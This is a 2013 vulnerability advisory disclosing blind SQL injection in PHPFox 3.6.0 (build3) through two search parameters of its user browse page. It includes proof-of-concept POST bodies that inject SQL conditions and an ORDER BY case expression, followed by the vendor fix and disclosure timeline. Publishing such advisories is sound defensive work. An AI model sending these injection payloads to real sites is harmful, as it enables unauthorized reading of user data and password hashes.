------------------------------------------------------------
PHPFox v3.6.0 (build3) Multiple SQL Injection vulnerabilities
------------------------------------------------------------
=3D=3D Description =3D=3D
- Software link: http://www.phpfox.com
- Affected versions: version 3.6.0 (build3) is vulnerable. Other
versions might be affected as well.
- Vulnerability discovered by: Matias Fontanini
=3D=3D Vulnerabilities =3D=3D
When performing POST requests to /user/browse/view_/, the
"search[gender]" and "search[sort_by]" parameters are not correctly
sanitized before being used to construct SQL queries, making them
vulnerable to Blind SQL Injection attacks.
=3D=3D Proof of concept =3D=3D
- For the "search[gender]" parameter, using the condition "1=3D0" so
that no results are returned:
POST /user/browse/view_/
core[security_token]=3D0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=3D2
and 1=3D0search[from]=3D&search[to]=3D&search[country]=3D&null=3D1&search[c=
ity]=3D&search[zip]=3D&search[keyword]=3D&search[type]=3D0&search[submit]=
=3DSubmit&custom[1]=3D&custom[2]=3D&custom[3]=3D&custom[4]=3D&custom[5]=3D&=
custom[6]=3D&custom[7]=3D&search[sort]=3Du.last_login&search[sort_by]=3DDES=
C
- The "search[sort_by]" parameter is inserted in a "order by" clause.
Therefore, an attacker could exploit it by making the application sort
the results based on a different criteria, depending on whether the
query was successful:
POST /user/browse/view_/
core[security_token]=3D0db230b2a8b6755b8cfe60d97fb1a613&search[gender]=3D2&=
search[from]=3D&search[to]=3D&search[country]=3D&null=3D1&search[city]=3D&s=
earch[zip]=3D&search[keyword]=3D&search[type]=3D0&search[submit]=3DSubmit&c=
ustom[1]=3D&custom[2]=3D&custom[3]=3D&custom[4]=3D&custom[5]=3D&custom[6]=
=3D&custom[7]=3D&search[sort]=3Du.last_login&search[sort_by]=3DASC,(case
when (select 1 from dual) then birthday_search else password end)
=3D=3D Solution =3D=3D
Upgrade the product to the 3.6.0 (build6) version. Note that builds 4
and 5 also contain the vulnerability present in the "search[sort_by]"
parameter, but not the other one.
=3D=3D Report timeline =3D=3D
[2013-07-30] Vulnerability reported to vendor.
[2013-07-30] Developers answered back indicating that an update would
be released soon.
[2013-08-07] PHPFox 3.6.0 (build6) was released, which fixed all of
the issues reported.
[2013-08-07] Public disclosure.